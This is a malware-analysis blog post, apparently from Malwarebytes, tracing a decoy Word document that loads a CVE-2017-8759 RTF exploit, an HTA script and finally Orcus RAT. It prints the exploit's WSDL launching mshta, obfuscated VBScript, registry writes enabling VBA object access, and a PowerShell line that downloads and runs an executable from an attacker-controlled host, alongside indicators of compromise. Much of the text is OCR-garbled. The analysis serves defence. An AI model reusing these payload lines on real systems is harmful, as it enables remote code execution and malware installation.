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In this post, we take a look at a Microsoft Word document which itself is somewhat clean, but is used to launch a
multi-stage attack that relies on the hyperlink feature in the OpenXML format. This then loads another document

that contains an exploit.

Most malicious Microsoft Office documents involve either macros, embedded scripts, or exploits and are typically
delivered via email. In this case, the unsuspecting user opening the decoy Word document will trigger an
automatic (no click or interaction required) download of a malicious RTF file that deploys an exploit (CVE-2017-

8759), which ends up distributing the final malware payload.

The several-step removed payload is a commercial Remote Administration Tool that, in this case, is used for
nefarious purposes. Victims will be none-the-wiser as the infection process happens in the background, while their

Word document finally loads what looks like legitimate content.

While attackers could have sent the exploit-laced document first, that might have triggered detection and
quarantine at the email gateway. Instead, the benign document acted as a kind of Trojan horse that made its way to

the end user’s desktop, where it would finally show its real intent.

The diagram below summarizes the different steps that this attack takes, from the original document all the way to

the malware payload.
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Article continues below this ad.

Microsoft®

Word 2010

[Downloading: https://a.pomf.cat/saglyf.doc (0%]]

[E] Progress Telerik Fiddler Session £8 - https://a.pomf.cat/saglyf.doc -

'/@_.

1 Request | mResponse| E Properties | e
Caching Cookies Raw JSOM
Headers TextView SyntaxView ImageView HexView WebVi
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oy CVE-2017-8759

{1 eemipsthl Loemine 1 bttn- £ farhemas mirmenft com/affice Ausaed 2000 Aanedml 1

{{f:b‘;t:c [Z] Progress Telerik Fiddler Session #3 - https://a.pomf.cat/uczmbn.png -
“raltpic :
\obiw2 1 Request | I i Respanse | [E] Properties | N
“\abi
R'\ob} Caching Cookies Raw JSOM *
dlcf11 Headers SyntaxView ImageView HexView WWeb .
00000( <DINQINg NamMEe= GINgiNg Type= M&.FOM [Ype = -
<soap-binding style="rpc" transport="http://schemas xmlsoap org/soap/http" />
<suds:class type="ns0:Image" root Type="Marshal ByRefObject "< suds class>
</binding::
0:0 <service name="5ervice">

<port name="Port" binding="tns:Binding" >

<soap:address location="https://a pomf cat:807C\Windows" System 32'mshta exe ?
https://a pomf cat/oghujp hta" /=

[Z] Progress Telerik Fiddler Session #62 - https://a.pomf.cat/oghujp.hta

1 Request || i Response | [E Properties

-

<script language="VBScript">

Window.ReSizeTe 0, 0 : Window move To -2000,-2000

Sub window_aonload
const impersonation = 2
Const HIDDEN_WINDOW = 12
Set Locator = CreateObject("VWhem Scripting. SWbemLocator™)
Set Service = Locator.Connect Server()
Service Security_ImpersonationLevel=impersonation
Set objStartup = Service Get("Win32_ProcessStartup”)
Set objConfig = objStartup. Spawninstance _
objCorfig. ShowWindow = HIDDEN_WINDOW
Set Process = Service Get("Win32_Process")

ChW(115) & Chriv(104) & ChrW(101) & Chri(108) & Chr/(108) & Chrit/(46) & Chrv(107) &

< Caching Cookies Raw JS0ON
<,-’;$|ﬁ Headers Syntax\View ImageView HexView webvimshta.exe
<html: ~
0:0 <head:

Error = Process.Create(ChrW{112) & ChrW{111) & Chr\W(113) & ChrW(107) & ChrW(114) &
ChrW{120) & ChrW/(107) & Chr?/(32) & ChrW(45) & Chrt/{69) & ChrW/(120) & ChrW(101) & ChrW{99) &

0:0  0f5,464

|Find... (press Ctrl+Enter to highlig| | View in Notepad HII

ystem.Net WehClient; url =
'HTI'PS I'+'I'+'a_pomf. cat-’aqzhnk exeffile = benv:itemp +

shell. appllcatlon Sexec shellexecute($file);}catch{}exit;

url, 5file);bexec = New-Object -com

Command line: powershell exe ExecutmnPoIlcy Bypass -windowstyle hidden

£

Y

agzhnk.exe
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Initial package

The initial document was reported by @xme on Twitter. A quick check using oletools indicates that the file has the

OpenXML format and no macros.
FILE: Product Description.docx Type: OpenXML No VBA macros found.
Since OpenXML files are archives, they can be decompressed to reveal their content.
[CONTENT_TYPES].XML _RELS/.RELS WORD/_RELS/DOCUMENT.XML.RELS WORD/DOCUMENT.XML WORD/MEDIA/IMAGE1T.EMF

Opening document.xml.rels reveals an interesting external URL, pointing to another document.

—<Relationships>
<Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument
/2006/relationships/theme" Target="theme/themel .xml"/>
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument
/2006/relationships/settings" Target="settings.xml"/>
<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument
/2006/relationships/fontTable" Target="fontTable.xml"/>
<Relationship Id="rId2" Type="http://schemas.microsoft.com/office
/2007 frelationships/stylesWithEffects" Target="stylesWithEffects. xml"/>
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument
/2006/relationships/styles" Target= ”styles xml"/>

<Relationship Id="r1d6" Type=_ fofficeDocument
/2006/relationships/oleObject'{ Target="https://a.pomf.cat/saqlyf.doc";

TargetMode="External"/>
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument
/2006/relationships/image" Target="media/imagel.emf"/>
<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument
J2006/relationships/webSettings" Target="webSettings.xml"/>

</Relationships>

The relationship with Id="rID6" is loaded by the main document.xml file. If we open the document without

network connectivity (to prevent the automatic execution), we can spot where this object is located.
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@' (= = Product Description.docx - Microsoft Word
Home Insert Page Layout References Mailings Review View
= s o i q - - A AT . EL iz . oiT . ouze A
12 Copy Calibri Body)  ~11 - A" a" [ Aav [ iz~ =% 209 pasbcene | AsBbcede AaBbCi AaBbee £
Paste o Format Painter B 7 U - ahe x, x° -y - A-IEE===E|l= H THormal |7 Mo Spaci.. Headingl Heading 2
Clipboard Font Paragraph Styles
. w »

—<v:shape id="_x0000 11025" type="# x0000 t/5"
style="width:215.25pt;height:228pt" 0:0le="">
<wv:imagedata r:id="rId5" o:title=""/>
<fv:shape>
—<0:0LEObject Type="Link"
ProgID="Word.Document.8" ShapeID=" %0000 i1025" » - =
DrawAspect="Content" r:id
UpdateMode="Always">
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o0:LockedField >false</fo:LockedField>
<0:FieldCodes>\f 0</o:FieldCodes>
</0:0LEObject>

The actual exploit: CVE-2017-8759

The remote file saqlyf.doc is downloaded and opened by Product Description.docx into the Temporary Internet
Files folder.

This time, it is an RTF file.

(<] user@linux: ~

user@linux:~$ python rtfdump.py ./saqlyf.doc
Level 1 c= p=00000000 1=
Level 2 == p=000006ba 1=
Level 2 c= p=000000e8 1=

Level 3 c= p=60000OfS5 1=
Level 2 Cc= p=00000136 1=

Level 3 c= p=0000014e 1=
p=0000018c 1=
p=000081ad 1=
p=0000163a 1=
p=00001642 1=
p=60800167a 1=
p=000016a3 1=
p=680016b3 1=

4 \rtf1
\b

6 \*\xmlnstbl

6 \xmlns1
\footer
\object
\*\objclass Word.Document.338
\*\objdata
\result
\rtlch
\*\deftab7291204606124086530025774063
\*\datastore

Level 4 =
Level 4 c=
Level 4 =
10 Level 5 c=

OO U A W

11 Level 2

12 Level 2

13 Level ©
user@linux:~$ I

c=

CeeerPRWHRErOWN
[oN-NoNoNoNoNoNoNoNoNoN-ie]

After we convert the hexadecimal encoding to binary (oledump), we can spot another interesting URL.
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user@linux: ~

user@linux:~S python oledump.py saqlyf.doc_object 000001B9.bin -s1

00000000: 01 00 00 02 09 00 0O 0O 61 00 0O OO OO OO0 600
00 00 00 00 00 00 00 00 8C 01 00 00 C7 BO AB
19 7F D2 11 97 8BE 00 00 F8 ¥5 T7TE 2A 00 00 0O
70 01 00 00 77 00 73 00 64 00 6C 00 3D 00 48
74 00 54 00 50 00 73 00 3A 08 5C 00 5C @0 61
ZE 00 70 00 6F 00 6D 00 66 0O 2E 00 63 00 61
74 00 2F 00 75 00 63 00 YA 00 6D 00 62 00 6E
ZE 00 70 00 6E 0O 67 00 00 0O 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 0O 00 OO0 OO0 OGO 00 OO0 00 0O 00
00 00 00 00 FF FF FF FF 00 00 00 00 00 60 60
00 00 00 00 0O 0O 00 OO0 OO0 OO 00 00 FF FF FF
00 00 00 00 00 OO OO OO OO 00 0O 0O OO OO0 60
00 00 00 00 00 00 00 60

At this point, we could be looking at CVE-2017-0199 if the server provided a MIME type response of
application/hta. But in this case, we have something different, and we can quickly spot the SOAP-related
bug associated with CVE-2017-8759.

|| Progress Telerik Fiddler Session -."*3‘ https://a.pomf.cat/uczmbn.png ' - O X

1 Reguest | ! Response El Properties

Headers TextView SyntaxView ImageView HexView WebView Auth  Caching Cookies Raw JSON XML

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)
Date:

Content-Type: image/png
Content-Length: 1204
Connection: keep-alive
Last-Modified:

ETag: "S3ceazza-4b4"
Expires:

Cache-Control: max-age=21600, public
Age: O

X-Cache: MISS

X-Cache-Hits: 0
Accept-Ranges: bytes

<definitions
xmlns="http: //schemas.xmlsoap.org/wsdl/"
¥mlns:soap="http: //schemas. xmlsoap.org/wsdl/soap,/™"
¥mlins:suds="http: //www.w3.0rg/2000,/wsd1/suds"
¥mlns: tns="http: //schemas.microsoft.com/clr/ns/System”
¥xmlins:nso="http: //schemas.microsoft.com/c1r /nsassem/Logo/Logo">
<portType name="PortType" /=
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http”/ >
<suds:class type="ns0:Image"” rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service"»
<port name="Port" binding="tns:Binding">
<soap: address location="https: //a.pomf.cat: 807C: \Windows"System32'mshta.exerhttps: //a.pomf.cat /oghujp.hta" />
<soap: address location=";
it (System.AppDomain.CurrentDomain.GetData(_url.Split('?'J[0]) == null) {
System.Diagnostics.Process.Start{_url.split("'?'J[1], _url.split("=")1[2]);
System.AppDomain.CurrentDomain. SetData(_url.split{ 7" J[0], true);

Y A
</port>
</service>
l-:,r‘def'l' nitions>
Find... (press Ctrl+Enter to highlight all) || Viewin Notepad
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The above code will parse and execute the content of the oghujp.hta file pictured below.

[E] Progress Telerik Fiddler Session %4 - hitps://2.pomf.cat/oghujp.hta - o %
g ps://a.p: ghujp
2 Request | | & Response | [E] Properties

Headers Textview 'SV"G!VIE‘N‘lmagEV\aw HexView WebView Auth Caching Cookies Raw  JSON XML

1| <html> T
2 | <head>

3| <seript language="VBSeript™>

4 | Window ReSizeTo 0, 0 : Window.moveTo -

5 | Sub window_onload
€ const impersonation = 3
7 Const HIDDEN WINDOW = 12

Set Locator = CreateObject ("WbemScripting. SWbemLocator™)
Set Service = Locator.ConnectServer()

Service.Security_ Leve

Set objStartup = Service Get{"Win32_ProcessStartup”)
Set objConfig = objStartup. SpawnInstance_

objConfig Showdindow = HIDDEN_WINDOW

Set Drocess = Service.Cec("Win3Z Process™)

T € CAIW(IL1) & CRrW(115) £ COTW(IOL) ¢ COZW(L14] & CRIW(L10) € CRIW(I04) € CRW(I0L] & ChTW(108] € CRTW(L00) G CATW(4€] & CRIW(I01) & CorW(1Z0) |
& ChrW(101) & ChrW(3Z) & Chrif(45) & ChrW(€3) & ChrW( & ChrW(101) & ChrW(39) & Chri(117) & ChrW(116) & CheW(10S) & ChrW(11l) & ChrW(110) & ChrW(80) & ChrW(11l) & ChrW(108) &
ChzW(l05) & ChrW(S9) & ChrW(12l) & Chri(32) & ChrW(6E) & CAZW(121) & ChrW(ll2) & ChzW(S7) & ChrW(11S) & ChrW(1lS) & ChrW(32) & ChrW(25) & ChrW(llS) & ChrW(10S) & ChZW(1l0) & ChrW{
100) & ChrW(1ll) & ChrW(11%) & ChzW(l1S) & ChzW{11l€) & ChrW(121) & ChrW(108) & ChrW{lOl) & ChzW(32 (104) & ChzW(l0S) & ChrW(100) & ChzW(100) & ChrW{lOl) & ChzW(ll0) & ChzW(
32) & ChrW(4S) & ChrW(SS) & ChrW(11l) & ChrW(10S) & CherW(l0S) & ChrW(S7) & ChrW(110) & ChrW(100) & ChrW{32) & ChrW(1l€) & ChrW(114) & ChrW(121) & ChrW{123) & ChrW(3€) & ChrW{l00) §
Chri(111) & ChrW(119) & ChrW(110) & ChrW(32) & ChrW(6l) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(119) & ChrW(45) & ChrW(79) & ChrW(98) & CArW(10€) & ChrW(l01) & ChrW(99) & ChrW
116) & ChrW(32) & ChrW(83) & ChrW(1Zl) & ChrW(llS) & CHZW(ll€) & CREW(10l) & ChIW(103) & ChrW(4€) & ChzW(78) & ChrW(l0l) & ChIW(L1€) & CRrW(46) & ChrW(87) & CAZW(10l) & ChrW(38) &
ChrW(€7) & ChrW(108) & ChrW(105) & ChrW(101) & CheW(110) & ChrW(11€) & ChrW(58) & ChrW(3é) & ChrW(117) & ChrW(1l4) & ChrW(108) & ChrW(32) & ChrW(€l) & ChrW(32) & ChrW(35) & ChrW(
72) & ChrW(84) & ChrW(84) & ChrW(80) & ChrW(83) & ChrW(S8) & ChrW(47) & ChrW(35) & ChrW(43) & ChrW(35) & ChrW(47) & ChrW(3%) & ChrW(43) & ChrW(3%) & ChrW(S7) & ChrW(4€) & ChrW(l
& ChrW(111) & ChrW(109) & ChrW(l02) & ChrW(4€) & ChrW(S9) & CRrW(S7) & ChrW(l1€) & ChrW(47) & ChrW(97) & ChrW(113) & ChrW(12Z) & ChrW(104) & ChrW(110) & ChrW(107) & ChrW(46) &
ChzW{101) & ChrW(120) & ChrW(10l) & ChzW(3%) & ChrW{S8) & ChzW(3€) & Chr¥W & ChzW(l0S) & ChrW(108) & ChrW(l0l) & ChzW{32) & ChzW(€l) & ChrW(32) & ChzW(3€) & ChrW(l0l) & ChrW(
110) & ChrW(118) & ChrW{(S8) & ChrW(11€) & ChrW{l01) & ChrW(10S) & ChrW(112) & ChrW(32) & ChrW(43) & ChrW(32) & ChriW(35) & ChrW(S2) & ChrW(S7) & ChrW(113) & ChrW(122) & ChrW(104) &
ChrW(110) & ChrW(107) & ChrW{(46) & ChrW(101) & CheW(120) & ChriW(l0l) & ChrW(3%) & ChrW(5S) & ChrW(36) & ChrW(100) & ChrW(111) & ChrW(11S) & ChrW(110) & ChrW(4€) & ChrW(68) & ChrW{
111) & ChrW(119) & ChrW(110) & ChrW(108) & ChrW(11l) & ChrW(S7) & ChrW(100) & ChrW(70) & ChrW(105) & ChrW(108) & ChrW(l0l) & Chri(40) & ChrW(36) & ChrW(117) & ChrW(114) & ChrW(108)
& ChrW(44) & ChrW(3¢) & ChrW(102) & CheW{l0S) & ChrW(l08) & CRrW(10l) & ChrW(4l) & ChrW(53) & ChzW(3€) & ChrW(101) & ChrW{l20) & ChzW(10l) & ChrW(5%) & ChrW(32) & ChrW(€l) & ChzW(
32) & ChrW(78) & ChrW(101) & ChrW(11S) & ChrW{45) & CheW(79) & ChrW(98) & ChrW(l0E) & ChrW{l0l) & ChrW(SS) & ChrW(11€) & ChrW(32) & ChrW(45) & ChrW(9S) & ChrW(l1l) & ChrW(10S) &
ChriW(32) & ChrW(115) & ChrW(104) & Chri(101) & ChrW(l08) & CheW(108) & ChrW(46) & ChrW(97) & ChrW(112) & ChrW(1l2) & ChrW(108) & ChrW(10S) & ChrW(99) & ChrW(97) & ChrW(11€) & Chri(
105) & ChrW(1ll) & ChzW(1l0) & ChzrW(S9) & ChrW(3€) & ChrW(l0l) & ChrW(120) & ChZW(10L) & ChrW(99) & ChrW(4€) & Chri(LLS) & ChrW(l04) & CRZW(10l) & ChzW(108) & ChrW(l08) & ChrW(lol)
& ChrW(120) & ChrW(10l) & ChzW{$5) & ChzW{(ll7) & ChzW(L1€) & ChzW(10l) & ChrW(40) & ChrW(3€) & ChzrW(102) & ChrW(105) & ChrW(l08) & ChrW(l0l) & ChzW(4l) & ChzW(SS) & ChzW{(125) &
ChrW(59) & CheW (57) & ChrW(11E) & ChrW(S%) & ChrW(104) & ChrW{(123) & ChrW(125) & ChrW(10l) & ChrW(120) & ChrW{(105) & ChrW(11€) & ChrW(55), null, objConfig, intProcessID)

Error = Drocess.Creste(ChrW

Set waR = CreateCbject ("WSeript.Shell")

wi Wrice "HECH AMi £o\Office\ 11 0\Word\Security\AccessVBOM®,
wi firite "HECU\Sof a: ££\Office\12 O\Word\Security\AccessVBOM",
waR Regiirite "HKCU\Software\Microsoft\Office\14. O\Word\Security\hccessVBOM",
wi W A

te "HKCU\Sof Mi £r\0ffice\15 . 0\Word\Security\AocessVEOM",

22 wi Wirite "HECU\Sof M ££\0££ice\ 1€ 0\Word\Securi ty\AccessVBOM",

23 Set oiord = CreateObject ("Word Application”)

2 oWord.Visible = True

25 cWford.Displayhlerts = False

2¢ oWord.Documents -Add

27 Set objSelection = ofiord.Selection

28 cbjSelection.Font.Name="Arial”

25 objSelection.Font.Size="14"

objSelection.TypeText " & vwbCrLf & "Supplies and Products Infomation.” & wbCrLf & "* & vbCrLf & "l. China OEM diesel generator supplier, Silent diesel engine LOKW Generator

set™ & WbCrLf & "" & vBCrLf & "2_ electronic governor diesel genset function signal generator set” & whCrLf & ™" & wbCrLf & 3. Stationary Bikes™ & vbCrLf & " & vbCrLf & "4 HRG-
€A Hexagonal free mode serve terminal crimping machine” & whCrLf & " & wbCrLf ¢ "5. Cable Pulley Machines™ & wbCrLf ¢ "7 & vbCrLf & "€. Weight machines” & vBCzLf & "" & vbCrLf & "
7. Free weights® & vbCrLf & "" & vbCrLf & "8. Furl flow meter”

objSelection.TypeParagraph
self_close
end sub

v

0:0 QuidFind... | [ Find sireplace | Readonly

The nasty bit is encoded with ChrW but we can let VBScript do the work and output what it is in human, readable

terms.

[ test vbs E3 l

powershell.exe -ExecutionPolicy Bypass -windowstyle hidden
-command trg{Sdown = Mew-Object Systern.Met. WebClient; Surl =

'HTTPS:/ " +'/'+'a.pomf.cat/agzhnk.exe’;5file = Senviternp +
“agzhnk.exe';Sdown.DownloadFile(Surl, 5file);Sexec = New-Object -com
shell.application; Sexec.shellexecute(Sfile); Joatch{ exit;

This is the final part of the exploitation phase, and it involves running PowerShell to download and run a binary.

Attack payload: a RAT
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This attack was meant to install a commercial Remote Administration Tool known as Orcus Rat, which as seen
previously was also hosted on the same server containing the exploit. The program is written in .NET and contains

functions such as keylogging, remote desktop, or access to the webcam.

lication

The file is concealed as mozilla.exe and periodically checks with its command and control infrastructure.

» Local Disk () » |Users|» |} AppDatz » Roaming » mozilla update

Share with « MNew folder

e mezilla.exe 2017-10-09 14:29 Application

3664 rzlGose File CWindows"assembly \Mativelmages_v4.0.30315_32'mscorib51e2934144ba 15628babad 1be 2dae 7dc \mscordib ni dil
T 459162 -x 212-83-170-126 rev poneytelecom eu:2327

3664 &7 Thread Create

3664 Sk Createfile CAWindows \Microsoft MET assembly\GAC_MSIL\System'w4.0_4.0.0.0__b77a5c561534e 085 psapi dll
3664 % Load Image CWindows"\System 32 psapi dil
3664 hCreateFile CAWindows\Microsoft NET assembly\GAC_MSIL\System'w4.0_4.0.0.0__b77a5c561934e 089 ntdll dll

While commercial RATSs can be used for legitimate purposes, malicious actors often abuse them for their own

sinister goals.
Diversion

Part of the malicious VBScript creates a fake document on the fly that is displayed to the user. If you look
carefully, you will notice that the file is called Document1, therefore it’s an additional file to the original Product

Description.docx one. It also contains too many typos (but that’s a debate for another day).
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Attack infrastructure

The exploit and payload used in this attack are served from a free file hosting site at pomf].]cat.
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A cursory look at the site revealed that many other malicious files are also hosted on this platform. We have

reached out and requested a takedown of the offending files.

Scanning for the original document at the gateway may not have returned anything due to its relatively benign
nature, and this is why protection at the end point is so important. More and more attacks these days are modular

and retrieve payloads on the fly in order to evade detection.

Malwarebytes users are already protected against this exploit. Additionally, we detect the RAT as

Backdoor.NanoCore.

Page 9 of 11



https://blog.malwarebytes.com /threat-analysis/2017 /10 /decoy-microsoft-word-document-delivers-malware-through-rat /

Microsoft®

Word 2010

Downleading: https:/fa.pomf.cat/saglyf.dec [0%)

Office

£ 2010 Microsoft Corporaticn. All rights reserved. Cancel

Indicators of compromise

Initial document (Product Description.docx)

01e45e56471103ccc99311066d0625F24e79ec8462b131d026b7a557a18d7616

RTF (CVE-2017-8759)

a.pomf.cat/saqlyf.doc 5758c31928c5f962fbb3ec2d07130e189a8cf4f3fbd@cdb@bchTc1d165334alc

PNG (CVE-2017-8759)

a.pomf.cat/uczmbn.png 5ed4582313d593a183ab0b8889dc3833c382ce9ca810287d0fcf982275b55e60

HTA (CVE-2017-8759)

a.pomf.cat/oghujp.hta b048a2d2ea3bb552acbe79e37fc74576a50c79b4d8c9fd73b1276baabc4b5ebf

Payload (RAT)

a.pomf.cat/aqzhnk.exe 72041b65777a527667e73ccc5df952961182e4787f4a349fcbed220961dd0ed?
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